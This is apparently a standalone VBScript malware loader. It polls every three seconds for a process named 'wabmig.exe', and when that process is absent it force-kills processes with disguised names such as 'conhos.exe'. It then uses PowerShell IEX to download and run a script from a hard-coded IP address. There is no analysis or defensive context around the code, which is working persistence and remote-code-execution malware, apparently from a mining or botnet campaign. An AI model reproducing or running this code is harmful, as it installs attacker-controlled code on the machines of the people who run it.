Dim objShell
Dim i
Dim strComputer
Dim FindProc
do
WScript.Sleep 3000
strComputer = "."

FindProc = "wabmig.exe"

Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery _
    ("Select Name from Win32_Process WHERE Name LIKE '" & FindProc & "%'")

If colProcessList.count>0 then
    
else
   Set objShell = WScript.CreateObject( "WScript.Shell" )
   objShell.Run("taskkill /f /t /im conhos.exe")
   objShell.Run("taskkill /f /t /im wxm.exe")
   objShell.Run("taskkill /f /t /im network02.exe")
   objShell.Run("powershell.exe IEX(New-Object Net.WebClient).downloadString('http://188.166.116.243:8000/start.ps1')")
   Set objShell = Nothing
 End if
Set objWMIService = Nothing
Set colProcessList = Nothing
Loop